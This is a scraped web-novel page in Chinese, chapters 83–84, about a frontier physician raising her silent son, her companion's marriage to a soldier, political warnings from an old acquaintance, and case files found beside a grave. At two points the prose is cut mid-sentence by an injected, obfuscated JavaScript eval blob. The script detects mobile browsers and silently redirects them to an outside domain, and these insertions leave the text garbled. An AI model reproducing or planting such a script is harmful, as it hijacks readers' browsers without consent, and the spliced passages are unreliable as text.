姜昙手下一滞,用巾帕盖住乌日的眼睛。 乌日摇摇头,将巾帕甩脱,仍旧看着她。 他虽然只有五岁,却知道自己不喜欢他这双眼睛。平日里只对视一瞬就低头,如今执着地盯着她看,是因为不小心醉了。 姜昙用手捂住他的眼睛:“睡吧。” 乌日抱着她的手睡着了。 这个孩子来得意外。 那段时日,她丝毫不忌讳用药,为了自己的身体能快点好,甚至有时加重剂量,完全没有考虑别的生命。 她有意让它在不知不觉中死去。 可是它却活下来了,现在变成了他。 乌日一生下来就不会哭,紫珠用力拍他的脊背,他才哭着睁开眼睛,但声音很小。 他会说话,但也不会说话。 和她这个娘亲近,也不亲近。 83. 第 83 章(补) 紫珠还是没有答应那名士兵。 然而拒绝了他,紫珠整日整日地坐在门口缝鞋垫。 做不了一会儿,她就站起来张望,随后一脸失望地回到门口坐下。 如此重复,一直到天黑。 姜昙见过那个名叫周胜的年轻人。 修长的身体像春日的翠竹,高高的肩上总是扛着一根长棍。训练结束时,周胜总是三步并作两步地跑过来,再放慢了步子,顺路经过她的门前。 就这么顺路了大半年,他上门拜访了。 拜访的那一日正是中秋,小城里的军户各自去找随行的亲眷团圆。 孤零零的周胜坐在军中思考了大半日,或许想着紫珠也是孤单一人,于是挑在傍晚上门,想邀请紫珠一起去城里看杂耍。 出门前他特意换了一身新衣,还准备了月饼和柿子。 然而周胜挑的日子不巧。 他上门的时候,正是姜昙临盆的时候。 还没来得及敲门,紫珠就急匆匆地出来喊了左邻右舍。一群人挤过来,将周胜也推搡了进去。 他就这么在一群大娘的呼喝中,手忙脚乱地打下手。 事毕,特意换的新衣也沾染上了血迹。 每次提起这事,紫珠就笑得前仰后合:“他那身衣服一看就不是自己的,腰身和袖子急匆匆地缝了几针,针脚又粗又差劲。勉强套在身上,没走几步路就开线了!难为那么好的料子,惊真舍得下手。” 这件事姜昙也有所耳闻,还是从左邻右舍的大娘口中得知的。 听说周胜头顶有一个亲戚兄弟的军官,出身显贵,那衣服就是他的。 除了主人自己,估摸也没旁人敢下手。 姜昙问:“那你为什么不答应他呢?” 紫珠脸上的笑容敛住,又低头去缝鞋垫。 她虽不说,姜昙却知道,那是给周胜做的。见紫珠做过多次,她一看就知道是周胜的尺码。 “姑娘,你哪里知道……” 说到这里,紫珠摇头叹息,又不肯往下说了。 “在一起陪伴这么多年,说谢或者抱歉都太过见外,然而我确实是欠你良多。”姜昙劝紫珠道:“你也该为自己想想。” 更何况,年轻人一身力气无处使。周胜每次来的时候不是劈柴就是挑水,省了不少家事。 总而言之,姜昙由衷地想念他,希望他与紫珠走到一起。 “姑娘你真是……” 紫珠一眼看出姜昙的心思,嗔了她一眼:“他每次上门来,都带走一堆吃食,你也不怕他把咱们家吃穷了。” “总是做的有多余。” 说着,姜昙收拾药箱,准备出门:“布和大叔家的母羊生产,我去看一看,晌午就不回来了。” 紫珠往屋内看了一眼。 乌日塔在家时,总是独自躲在屋里,不厌其烦地摆弄着他的宝贝石头,可以玩一整天。 姜昙去棚子里解开马的绳子,马儿极通灵性地放轻了蹄子,慢慢地走出来。 然而这一丝轻微的动静瞒不过另一只。 对面棚子里的小红马忽然站起来,警惕地观察着姜昙的动作,在一匹马的审视中,姜昙竟有些心虚。 它不是在睡觉吗? 这匹马经常一睡就是一整天,一旦睡着很难醒来,除非喂食。 小红马朝屋内打了个响鼻。 “吱呀”一声门响。 乌日塔悄无声息地出现在门口,从一指宽的门缝里往外盯着姜昙看。 姜昙暗自叹了口气,对乌日塔招手:“过来。” 乌日塔一声不吭,在门缝处消失。不一会儿,他又回来了,肩上多了一个小挎包。 那是紫珠仿照草原牧民放在马背上的包袱,特意给乌日塔做的。用来装他喜欢的石头,方便他带回来。 紫珠要抱乌日塔上马,他却躲开了,自己从另一边翻身上去。 紫珠伤心地说:“哎,阿年长大了,不肯与紫姨娘亲近了。小时候我一把屎一把尿地给你带大,想不到你如今这么伤我的心。” 小红马焦躁地转了转,被主人驱策着,来到了紫珠面前。 紫珠沮丧的样子再也装不下去,噗嗤一声笑出来:“阿年真乖。” 面无表情的小脸被捏扁。 乌日塔看向姜昙。 姜昙轻咳一声,催促说:“该走了。” 紫珠将荷包里的酥糖塞到乌日塔的包袱里,又给小红马喂了块饴糖,终于送别他们: “晚上做羊肉羹,早点回来!” . 布和大叔住在山坡后。 他养着一大群羊,往日总要赶着羊群在太阳出来时走一走,今天却顾不得。 母羊不安地在圈里走来走去,时起时卧,它已经生了快一天,却还没有生下来,是难产的征兆。 姜昙摸了摸羊母下腹,羊水流失太多,必须上手助产了。 “往后退一退。” 乌日塔站得太近了。 不久之后,姜昙将三只小羊拖拽了出来。尽管她十分小心,还是有一只小羊奄奄一息,已然活不成了。 布和大叔将小羔羊抱在怀里,情绪激动用胡语说着什么,姜昙断断续续地推测出来: 昨日有一队强盗士兵冲撞羊群,抓走了几只羊。还把怀孕的母羊摔到一边去,这才导致它早产,否则就能等到她过来。 姜昙见过的边陲守军,也就是周胜所在的那一支,军纪严明,军官也没什么架子,否则也不会将衣服借给周胜。 他们一定不会做这样的事。 小羔羊痛苦地鸣叫。 布和大叔心痛地留下眼泪,双手在胸前比划什么,应是草原上的祭奠仪式。 这时,乌日塔走过来,手心向上递来一把匕首。 姜昙缓缓抬眼,惊诧地与乌日塔对视。他黑漆漆的眼眸中没有情绪,只是在对上她的眼睛时,习惯性地下垂。 那是布和大叔随手放在外面的匕首,他不太会说中原话,生涩地对乌日塔讲了一句:“谢谢。” 回去时,姜昙走得格外慢。 二月快要过去,三月即将来临。天气晴好,风却很大。 姜昙用兜帽盖住大半张脸,只露出一双眼睛在外面,骑马回城。 回去时她行得很快,身后的小红马跟得很紧,一步也不落,有时甚至跑到她前面去。 乌日塔一勒缰绳,压着焦躁的小红马慢下来等她。 不常交谈的母子,连生闷气也无处表现。 眼神相接几乎是他们唯一的交流方式,单调却足够。只需一眼,就能洞悉彼此的意思。 姜昙唯一能做的就是,不去看乌日塔的眼睛。 她兀自回到城门处,下马询问路边贩卖胡饼的小贩,仿佛身后没有亦步亦趋的脚步。 城门处忽然卷起一阵沙尘。 几个骑着马的军士哈哈大笑着疾驰进城,本欲向前的马蹄忽然一停,慢慢踱步回来。 姜昙将兜帽裹得更严实。 回头看了一眼乌日塔,牵着他的手要离开。 一匹高头大马拦住他们的去路:“把兜帽摘下来。” 小贩显然见过这位军士,知道他的秉性,连忙带着贩卖的东西往后退。 姜昙摘了一半,军士不耐烦地用马鞭拨开兜帽。帽子落下,是一张令人大失所望的脸。 双颊泛黄,还有许许多多的麻点。灰头土脸,和这城里平平无奇的路人没什么两样。 军士身后两个小喽啰笑:“大哥才来没几天,就旷得眼花了,看见路边一个麻子都被勾成这样。” 另一个说:“就是,还以为是什么天仙美人。比她好的姿色,咱们那要多少有多少,何苦掳这边的,苦巴巴的一张脸,瞅着就晦气呐。” 军士笑了一声,并不说话。 而是策马绕着姜昙转了两圈,越看越觉得离不开眼。 他回头对那两人说:“你们懂什么,脸有什么好看的。熄了灯,最要紧的是身段!” 三人公然在城门处,大肆讨论起看女人的心得。 布和大叔说的那伙强盗士兵,应该就是他们了。 姜昙不欲生事端,转身要从另一侧离开。 先前那位军士再次挡在她身前,轻佻地问:“跑什么?小娘子可有家室,跟了我如何?” 姜昙说:“民妇已生了一个儿子。” 军士这才看到姜昙身侧的小儿,一张脸压得很低,很懂得藏匿自己。可惜年岁太小,藏不住打量的眼神,他一直在盯着自己看,而且眼神十分不善。 盯得久了,竟让人生出一股凉意。 不过是一个小儿罢了。 军士并不在意,哈哈大笑:“生养过滋味更好,你跟了我,你儿子就是我儿子,从此你们母子不用再过苦日子了。” 姜昙攥紧袖子中的药粉,犹豫着要不要撒出来。 三个人,只有一瓶药粉。 若是在此处撒出去,难保不会招来他帮手的报复。若是与他独处,姜昙倒有信心把他迷晕。 这么想着,姜昙松开乌日塔的手,这孩子竟又紧紧抓住她了。 现在不是解释的时候,何况解释了他也未必能听懂。 姜昙用力把他推开,正要回答军士的话,面前又是一阵马蹄声。 “陈将军让我好找!”这人来到近前,正巧挡住姜昙,对那军士低声说:“陈将军,京中来了急报,是找你的。将军不如尽快回去看看,万一是哪位大人有什么要紧事吩咐呢?” 短短几句话,让陈将军变了脸色。他似乎想到了什么,对另外两人说:“回营!” 马蹄声远去。 陆昇讥讽地笑了笑,回头去寻方才的人,却发现人早已不见了。 周边的小贩们满面惊恐,他有心安抚几句,又怕他们害怕。 最终叹息,对姗姗而迟的随行官说:“周胜,将银子赔给他们。” 早在第一句时,姜昙就认出这人是谁。 没想到陆昇竟会到边陲来。 陆昇就是周胜头顶的军官,借衣服的应该也是他。 周胜,姓周……原来是周蝉衣的亲戚。五年的时间太长,姜昙几乎要忘记这个名字了。 难怪紫珠忧心忡忡,换作她也会无所适从。兜兜转转,竟然遇到了这么多熟人。 “姜姑娘。” 巷子的前方,一人静静站着。 姜昙暗暗叹气,大昭还是太小了。她认命抬头:“大公子。” 该来的还是躲不掉。 . 姜昙将马放到草原上,任由它四处转着去吃草。 随后和陆昇一起来到不远处的土坡前,这里荒无人烟,倒是适合故人叙旧。 陆昇看了一眼土坡上正在玩石头的乌日塔:“这是谁家的孩子?” 姜昙淡淡说:“草原上的孩子,跟着我四处学医术。” 陆昇笑了笑。 两人站着沉默了一会儿,听着风呼呼吹过土坡,坡上的青草齐齐低下去。 姜昙没问陆昇一个富家公子,太子同门,未来天子的肱骨之臣,是如何被调派到边陲来,做一个小小的参将。 这其中一定有许多波折。 不过既然连他都出现在这里,说明许党式微,已到了显而易见的地步,或许只剩下最后一击。 许久之后,陆昇说:“我今日来,是受人之托,向紫珠姑娘提亲。” 他摊开手,手掌上是一个锦盒,盒子里大概放着镯子,姜昙撞见过,紫珠与周胜两人在巷口推拒。 一个说不要,一个说必须要。 到底还是没要。 姜昙不肯接:“紫珠对外是我的婢女,实际上是我的姊妹,我的家人。她的终身大事,除非她自己点头,谁也逼迫不了她。你们该去求她同意。” 陆昇说:“周胜父母早逝,只有一个姐姐远在扬州,自顾不暇。大老爷们儿活得没个人样,从小一个人长大,经常跟野猴子一样滚回来。然而从半年前开始,这家伙衣服有人补,鞋子也经常换新的。依我看,紫珠姑娘并非对他无意。” 原来周胜与周蝉衣是姐弟。 姜昙淡淡说:“姑娘家替他补过几次衣服,缝了几双鞋子,就让他惦记上了?他想娶紫珠,莫不是就打着把人娶回去补衣缝鞋的主意。若是这样,不如聘一个仆妇,也是一样的作用。” “不一样!” 土坡后一直偷听的年轻人跳出来:“我是真心喜欢紫珠的,不是想娶回家做仆妇,而是做娘子!我愿意给她补衣缝鞋,所有的银子给她买珠花,让她比在姜姑娘身边时更快乐!” 姜昙皱眉:“你是说,紫珠和我在一起时不快乐?” “我不是这个意思,我是……” 每次见他,姜昙都觉得见到了一根竹竿。 这根竹竿在眼前晃啊晃,晃了半晌,突然朝她的方向杵下来:“姐姐,以后我不让紫珠受委屈,也会好好孝敬你!” 谁是你姐姐? 周蝉衣听见这话得气死了。 年轻人像竹竿一样愣,却抓住了重点。听出了她舍不得紫珠,给出了一个毫无章法的巧妙回答。 沉默半晌,姜昙叹息说:“你自去问她吧。” “谢谢姐姐成全!” 周胜朝陆昇龇牙笑,扭头跑了一阵。又折步回来,把陆昇手上的锦盒夺走,一溜烟儿跑不见了。 姜昙问陆昇:“周蝉衣姑娘如今怎么样了?” 既然她弟弟跟着陆昇跑,那么周蝉衣与陆家必定关系匪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个拦,一个跑,看着像是打了起来。 姜昙忽然站起来,两人都停了片刻,看着姜昙从屋里拿了什么出来又坐下,这下乌日塔真的溜走了。 紫珠怔怔坐着:“姑娘……” 姜昙将箱子里的东西一一拿出来:“这是给你备的首饰,这是银票,还有一些碎银……目前以我的能力,只能给你备这么多了。如果想要再多一点,你恐怕得等十年后再出嫁。” 紫珠看起来快哭了。 姜昙说:“不过我想,周家人都会做生意,周蝉衣那么厉害,周胜也不差。这小子虽然穿得像乞丐,但是出手大方,应该和她姐姐一样会赚钱,你嫁过去不愁花销。” 紫珠这下是真的哭了。 五年前,紫珠还和周蝉衣的婢女对战过,没想到如今她要做周蝉衣的弟媳了。 姜昙叹息:“嫁给周蝉衣的弟弟,毕竟矮她一头。以后吵起来,你也只能让她几句了。” 紫珠破涕为笑:“哪就能吵起来。” 边陲喜事办的简陋。 周胜几乎转了一整个城,搜罗了所有喜庆之物,将城里的新房装扮的热热闹闹。 两个新人的意思,都是邀请相熟的亲友,拜过天地,喝过喜酒就算。 流程简单,过程却一点不含糊。 周蝉衣差人送来了一大箱贺礼,和家传的一对玉镯,表示对弟妹的认可。 紫珠嫁过三次人。 第一次被父母半卖出去,第二次因为她的一己之私被迫做戏,第三次终于遇到了良人。 她哭花了妆容,流的却是幸福的泪水。 姜昙喝完喜酒回来,醉醺醺地躺倒在床上,连被子都没盖好。半夜被梦惊醒,梦里胸口处沉甸甸压着一只肥猫。 醒来一看,不是肥猫,而是乌日塔的脑袋。 姜昙睁着眼睛。 四下里十分静谧,除了棚子里的鼻息声,就只剩压在心口清浅的呼吸。 她从未如此清晰地察觉到,只有乌日塔与她相依为命。 罗三娘又怀孕了。 然而她的丈夫老羊刚好错过了这一好消息,他早上刚出门去父母家,说是父母要儿子帮忙安置牛羊。 姜昙替她把完脉说:“一切都好,不到两月。最近注意休息,不要劳累。” 罗三娘摆手:“嗨呀,第三个了,早有经验了。” 有很多妇人以为自己经验丰富,故而生产时掉以轻心,这样的事不在少数。 姜昙还是再三提醒她注意,随后离开了。乌日塔正在毡帐外的地上玩石头,姜昙好奇地过去看,只看到他将石头收起来。 地上除了两三只蚂蚁,什么都没有。 “走了。” 两人一前一后地回去。 到了巷子时,四邻闹哄哄地围作一团。 此时三月,草原上大沙暴肆虐。 每到这个时节,附近的住户总是忙碌着往房顶上压石头。若是房顶太轻,会被大沙暴掀翻。 姜昙打算回来再做。 然而她回来时,却看到自家房顶上压好的石头,和比往年厚实三倍的稻草。 她险些以为紫珠的新夫周胜又来孝敬她了。 邻居的大娘说:“有一个俊朗的男人,看着像是军营里的,一大早就忙上忙下,给咱们街坊四邻铺好了房顶。说是军营里关照百姓,可以往哪一年曾这么关照过?” 大娘神秘地挤眉弄眼:“要抓紧呐!” 是得抓紧了。 姜昙在巷口候了不到半个时辰,果然候到了陆昇。 他扭头就走,可能想装作路过的样子。 姜昙说:“别再来了,你给我带来了麻烦。” 听见这句话,陆昇反而转了过来:“姜姑娘,我要纠正你一个错误。” 陆昇看向姜昙的身后。 那个孩子,一直跟在姜昙身边,从不说话,却十分依赖她。 “前些时日,你遇到的陈将军,名叫陈兴平,是贤妃的哥哥。” 他还记得和姜昙分离时,她在马车的地衣上留下的血迹。起初觉得赧然,后来被府内有经验的嬷嬷看到,一下子点醒了他。 “陈兴平是他派来的,大昭和北漠即将开战。”陆昇说:“你若想避开,要么藏得更好,要么可能得离开这里。” 不是他给姜昙带来了麻烦,而是麻烦找上了姜昙。 84. 第 84 章 他指的是谁,两人都心知肚明。 来北地的这五年,姜昙并不是没有听说过陆青檐的消息。 第一年时很少,也有她刻意捂住耳朵的缘故。 然而这几年消息越发密集,关于他的消息传得飞速,几乎无孔不入。 许道成病重,是去年年末刚发生的事。今年年初,新任首辅闫慈就入了内阁。 景胜帝久不上朝,所有政事俱交内阁处理,实在无法处理之事再呈请圣裁。只是闫慈年事已高,故而政事多由他的义子帮忙办理。 闫慈的三个义子只剩下两个,三公子田永于五年前遇刺身亡。 因此,剩下的长公子陆青檐、二公子赵青林就成为闫首辅的左膀右臂。 两位公子中,长公子陆青檐尤其被闫首辅看重。也是朝野上下最负盛名的一位,据说几乎时时跟随闫慈前后,一刻也不能离。 以上是边陲小城,路边随意一个小贩都能说出的内容。 可是以陆青檐的野心和作为,绝不可能像传闻中这么简单。 姜昙最清楚,外面传的这些事,他五年前就能做到。 一阵风吹起黄土,扬起满地的沙尘。 路边的茶棚中,陆昇用手指蘸了蘸杯中的茶水,在桌面上画出一个三足鼎立的局势图。 “许首辅上疏奏请告老还乡后,许党的官员并入太子麾下,继续与闫党分庭抗礼。然而看似是两方之争,实际上是三方。贤妃于二月初诊出了喜脉,或有可能与陆青檐离心。” 他在上首第一位的地方,反复画了圈,表示这处的重要性:“贤妃这处只是萤火之微,威胁几等于零。其次是东宫,太子虽不得皇上喜欢,可毕竟是正统储君,若……” 陆昇顿了顿,隐去了中间的话,姜昙猜到,他可能是想说“帝崩”。 “太子登基,于闫党是灭顶之灾。” 陆昇的手指在桌面上点了点:“然而以上都是空想,这几年闫党在朝堂一手遮天,无人能敌。” 他说的尚且留有余地。 莫说以后,就是眼下,从贤妃传出有孕之时,陆青檐就已加派了人手监视。 贤妃在朝中并无根基,想要在陆青檐的眼皮子底下做什么小动作,简直难如登天。 北地气息干燥。 没过一会儿,桌上的水痕就蒸发不见。 姜昙沉默良久,抬眼看陆昇:“大公子说的这些,与我似乎没有关系。” 五年前陆昇帮她一次,还给了她大昭的地图,姜昙其实十分感激。 寻常百姓根本没有机会接触到这样细致的地图,上面还仔细标注了山川河流,应该是陆昇平时用的东西,实在是帮了她大忙。 然而他此刻说出这些谋划,却让她琢磨不透了。 陆昇是不是太信任她了? 按理说,他们二人并没有深入的交际。算上这一次,才见过三次面而已。 陆昇笑了笑,继续说: “长兄今年不过二十五岁,已任太常寺少卿。二十五岁的正四品官员,姜姑娘你可知道,大昭史书中有几个,古往今来又有几个?就算在闫慈死后,只要陆青檐在一日,我方才所说三足鼎立中的前两者,就永无翻身之日。” 就算按照明面上的假年龄,陆青檐也才二十七岁。 这样年轻的正四品官,在史书中亦很罕见。 陆昇将剩余的水痕擦去:“江南一带的官员有一半都是闫党亲信,其中又有一半暗中与他来往密切。他的手已伸到北地来,陈兴平只是个开始,迟早这里也会被他的人盘踞。” 这就是陆昇方才说的,北地也不能待下去的缘故。 姜昙慢慢琢磨出点意思来:“你是在劝说我,和你一起对抗闫党?” 她不知该苦笑还是如何了。 陆昇看着是很靠谱的一个人,师从太傅,谋略心性不再话下。 可就是这样一个人,竟然以为她有对抗闫党的能力。 姜昙摊开袖子,无奈打量了一下自己,怀疑身上是否有闪光之处,竟连她本人都未能发现。 最终,她遗憾地说:“大公子,姜昙不过是一个平头百姓。若你身体不适,我或可助你痊愈。除此之外,我没有别的能力,你高看我了。” 说着,姜昙饮下一杯茶。 此地是边陲最贵的茶棚,她寻常是喝不起的,可不能浪费了。 “姜姑娘远在北地,或许不清楚京中之事。”陆昇顿了顿:“陆青檐至今孑然一身,未曾婚配。” 原来他不是让她对抗闫党,而是让她对抗陆青檐。 说完,陆昇敛袖站起来,将桌上的糕点往姜昙那处推了推。 经过乌日塔身边时,他又从袖子里拿出一个孔明锁,放在桌子上。 孔明锁小巧玲珑,特意做成了孩童的尺寸,依旧精巧复杂。 乌日塔摆弄着手中的石头,眼神落在孔明锁上几息,慢慢地将锁握在手里。 只有五岁的乌日塔爱好不多,能把东西握在手中,代表他十分感兴趣。 这种锁,极少有小童喜欢。因为十分难拆开,往往要研究半天才能弄明白,枯燥而无味。 姜昙幼时就十分不喜欢,直到十六七岁才渐渐品出趣味,甚至自己改变结构,研究出了独一无二的新锁出来。 陆昇竟能想到送这种东西给乌日塔……陆家人揣测人心的本事,还真是如出一辙的可怖。 姜昙闭了闭眼。 她很想对陆昇说,孑然一身并不能代表什么。 这么多年,你不也是一个人吗? 当初她那一箭朝着心脏去的,陆青檐一定恨不得弄死她。 更何况,谁不是一个人呢。 姜昙看着茶棚外的过路人来来往往,头上身上皆裹着厚重的兜帽长巾。 边陲的风沙肆虐,已到了不得不让人遮住头脸的地步。 “嗒”地一声。 姜昙转过头去,乌日塔将散乱的木条放在桌子上,黑漆漆的眼珠看过来—— 他将孔明锁解开了。 “走吧。” 姜昙数着铜板,却被告知钱已付过了。 不吃白不吃,她往嘴里塞了几块糕点,又往乌日塔嘴里塞了几块,最后实在吃不下,就统统装到口袋里。 别说,旁人付钱买的糕点就是好吃。 然而她吃的有些撑了,于是决定去先前与陆昇待过的土坡前走一走,那里风景尚可。 只过了半个月,这里的绿意就变得黯然失色。 姜昙很轻易地找到了汤慎的墓。 一眼望去,除了附近的土坡,只有那处有小小的凸起。 走近一看,是个小土包,土包前一块木牌勉强立着,上面被人用刀刻了四个大字:盛慎之墓。 “盛”字被人刻意抹去,姜昙看了许久才认出这个字。 盛?不是姓汤吗,怎么是盛慎。 姜昙越想越觉得耳熟,她生平知道的人中,姓盛的不多。 其中恰好有一家姓盛的,因为娘亲与这家女主人相熟的缘故,还曾定下一桩口头的娃娃亲。 只是两位母亲早逝,故而婚约在时间中消磨隐去,渐不被人提起。 成年后,盛家的人没有找过来,姜昙也无意去和一个从未见过的人成婚,最后不了了之。 提起那家人,姜昙只记得娃娃亲的另一个人,他叫盛谨之。 倒不是同一个人。 然而这时,姜昙忽然看到,墓碑的下方还有一行小字。她伸手擦了擦那黄土,最下面的竟是:谨之。 父,盛炳立。 盛炳就是汤炳,所以盛谨之就是汤谨之,汤慎。 与她有婚约却不了了之的那个人,竟然是汤指挥使的大公子。 天意弄人。 不过现在知道这些,也不起什么作用了,汤慎恐怕连这一件婚事都不知道。 汤家人从来存在于百姓的传言中。 最近的时候,姜昙在陆青檐的大帐里,隔着一道屏风,听到汤炳和他的二子在帐外受训,汤家摇摇欲坠。 勉强与她有几分关系的汤慎,从出现起就昏迷不醒。 两人生前从未有过交集,直到他死去,躺在墓穴中,姜昙才与他的白骨见上一面。 姜昙此时有些后悔空着手过来了,她该买着香烛元宝的。 这么想着,姜昙上手将墓穴周围的杂草拔干净,又清理完墓碑前的黄土。 乌日塔不知道姜昙在做什么,只专心做着自己的事。 玩过了孔明锁,手中的石头一时索然无味,他在土坡前后转着,忽然发现一处更好玩的地方,蹲在地上扣弄起来。 姜昙发现时,他已经将汤慎墓旁的地面刨了一个坑,甚至挖出来一个洞。 面前落下一道阴影,乌日塔抬头,对上姜昙看似平静的双眼,心中咯噔一声。 他敏锐地意识到这样做会让姜昙不高兴,手指飞快,又将地面上方才拆开的机关锁拼凑回去。 姜昙这才发现,原来乌日塔不是在刨坑,而是墓碑旁的黄土原本就没有填实。 有人留出一小块方正的空地,向下嵌入了一个机关锁。 这机关锁的形状亦很眼熟,姜昙想了许久终于想起来,这是她在吴江时自己做过的。 刘仲青死前不久,其实单独见过姜昙一面。 他交代的不多,只说了两件事。 其一,将有关宋庸一案的所有卷宗销毁。其二,离开吴江,越远越好。 然而十七岁的姜昙极其天真幼稚。 宋庸此案虽然证据齐全,可是相关罪证并没有全部公布。 刘仲青那样告诉她,她隐隐察觉到此案牵扯到了不能处决的大人物。 但私心里仍希望有一天,所有罪证能够大白于天下,故而藏了一部分卷宗没有销毁。 而是用她自制的机关锁将卷宗锁起来,自以为高明地埋到吴江县衙一个地方,留下了一些蛛丝马迹。 十七岁时,姜昙很喜欢听市井人说书,书中捕快将凶手绳之以法的故事让她很向往。 她幼稚地以为,如果有人能找到这些卷宗,一定是来主持人间公道的。 直到刘仲青突然死去她才明白,这个世界上永远不是书中那样非黑即白,邪不压正。 没有绝对的正义。 她留下的那些卷宗,没有人会注意到。 三年的时间,她一度自暴自弃到对人世失望。最后燃起求生的意志,也谨记着刘仲青的嘱托,只求自保,做个隐于人世的普通人。 可就在她自己都要忘记了的时候,忽然有人告诉她,他曾经发现了她留下的东西。 可此人已经化作了一堆白骨。 天意弄人,天意弄人。 姜昙打开机关锁,盒子里正放着她曾经留下的卷宗。 不知汤慎生前是如何保存的,或许是锦衣卫特有的密法,才让卷宗不至于毁坏。 掀过她留下的卷宗,后面续有墨迹较新的纸页,这应该是汤慎的字迹。 从纸页中可以看到,他在吴江找到了更多的证据,弄清了事情的原委,上面甚至有除了宋庸以外的名字,最后写着这些名字的生平和官职。 按理说,汤慎是锦衣卫,他对所有官员的消息烂熟于心,不至于特意写下来。 唯一的可能,或许是写给她看的。 他找到了这些卷宗,知道当年吴江案中有一人留下的证据,故而也期盼着这人能找到他留下的,所以用了和她一样形制的机关锁。 只是后来不知道为什么他去了扬州,落入了陆青檐的天罗地网,就此被害。 汤家人应该没有打开过,或许以为这是汤慎的遗物,所以一起埋入了墓穴。 当初紫珠问她,去北地的哪一个城镇。 最后是由紫珠选的,她不识字,故而选了一个看起来形状最好看的,两人才来到这里。 如果当初紫珠选的是别处,如果陆昇没有提醒她,如果她没有生出来看一看汤慎的心思…… 她或许到死也不会知道,汤慎和她曾经有过这样的交集。 恍然惊觉汤慎和她有这样的渊源,姜昙关心起汤家其他人的命运来。 然而她此时忽然想起来,早在五年前,汤家举家离京。 彼时她对汤家的命运漠不关心,坐在马车上看路上的车辙印时,也只是由他们的下场联想到自己,而暗暗心惊。 五年前。 汤家三公子汤忖死于狩猎日,雪林。 大公子汤慎死于离京途中,一个荒芜的破庙。 汤炳一夜白头,病逝于大儿子死后的第二月。 二公子汤恒被打断了腿,于到达流放地的前夕失踪,至今生死未知。 乌日塔的小手伸过来,在姜昙的眼下擦了擦。 他自小没有哭过,就算从椅子上摔下来,磕破了脑袋,也从来没有哭过。他不知道哭的滋味,也不明白人们为什么要哭。 或许是遇到了难题,没有办法。 乌日塔认真地看着姜昙,他想看出姜昙的难题是什么。 他很黏着姜昙,却只是沉默地跟在她身边。有事时以眼神问询,匆匆一触就离开。 其余时间,都沉浸在自己的世界里,玩他的石头。 这样主动的时刻几乎从未有过,因为对他来说,这样的时刻十分难熬。 可是他愿意这样对姜昙。 然而此刻姜昙哭泣,他却不知道如何解决她的难题。 甚至,他连她也难题是什么,都没有看出来。 姜昙凝滞的眼珠子聚焦,看着眼前的乌日塔,眼前浮现出前些时日的画面—— 布和大叔抱着哀鸣的小羊哭泣,乌日塔却递上了他的匕首。 真的是很神奇的一件事,母子之间的羁绊,让她一瞬间明白乌日塔的想法。 他并不是像布和大叔以为的那样,好心地提醒忘在外面的匕首。而是在建议,用匕首杀了小羊。 杀了哀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505722|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣的小羊,结束它的痛苦。 他把这视为一个难题,如同解开机关锁那样。用匕首杀了小羊,也可以解决布和大叔的难题。 乌日塔的眼睛,真是像极了陆青檐。 以陆青檐的脾性,他小时候会不会也这么做过呢? 姜昙控制不住自己的想法。 她闭了闭眼,再睁开时,推开乌日塔的小手,用了比平常稍大的力道。 乌日塔询问的眼神追随着她,姜昙拒绝与他交流。 她将卷宗收起来,放到盒子里准备带走。 北地确实不能待了。 . 晚饭时,紫珠带着大包小包的东西回门。 这里就姜昙和乌日塔两个人,紫珠却生生做出招待一群人的架势。 不仅给姜昙带了首饰发簪,给乌日塔带了香包小木马。还给棚子里的大马带了草料饴糖,给小红马带了绒球发饰,将它的鬃毛编成了两条辫子。 她似乎忘了小红马是公的。 周胜果然信守当初“孝敬”她的承诺,一来就闷声不吭去厨房里做饭,最终端上来丰盛的四菜一汤。 饭桌上热闹而沉默。 热闹的是紫珠和周胜,叽叽喳喳地说着新房布置、街坊邻居,周胜不停地给她夹菜。 沉默的是姜昙,偶尔应和一两声。 吃完饭,趁周胜去洗碗,紫珠在姜昙身边坐下来:“姑娘,发生什么事了?” 姜昙边做女工,笑着说没事。 紫珠狐疑地盯她一会儿,肯定地说:“肯定有事。阿年平日都是自己一个人吃饭,今天反常地坐在桌子上和我们一起。姑娘你虽然在笑着,可是眼睛里没有笑意,你不高兴。” 紫珠真是敏锐。 姜昙并不打算解释,手中的活计在此刻结束。摊开给紫珠看,是一双虎头鞋。 “呀,真好看!” 紫珠很快忘了先前的事,稀罕地看来看去,向乌日塔招手:“阿年,真不容易,你娘第一次做鞋,快来试试。” 乌日塔往这里看了看。 姜昙按下紫珠的手:“是给你的。” “给我?我又穿不上。何况这式样……”说着紫珠一愣,脸色红了:“姑娘真是的,哪有那么快,得等上好长时间呢。” 姜昙却没法等了。 然而这些话却不必让紫珠知道,她很幸福,一辈子都会很幸福。 姜昙笑着塞给她:“提前备着,总不多余。” 周胜是周蝉衣的弟弟,周蝉衣是陆家三夫人。将来周胜领着紫珠回扬州,会回到陆家,迟早会被陆青檐发现。 顺藤摸瓜也是早晚的事。 这桩婚事是陆昇亲自保的,所以他也一定会照看紫珠,她不会有事。 姜昙也不想和紫珠分开,可是她们必须分开。 “草原的路人有口信传过来,那边的牛羊染了病。路程有些远,我可能得过几天才能回来。” 姜昙拍拍紫珠的手:“接下来北地不太平,你和周胜在一起,平日没事不要外出,也不必来找我。若是有急事就去找陆昇,他肯定会帮你们。” 紫珠说:“我知道的,姑娘你也别走了吧。北地不太平,草原那边又起了沙暴,我担心你。” 姜昙说:“已经答应了人家,不好出尔反尔。这是最后一次,以后就不去那边接诊了。” 紫珠点点头。 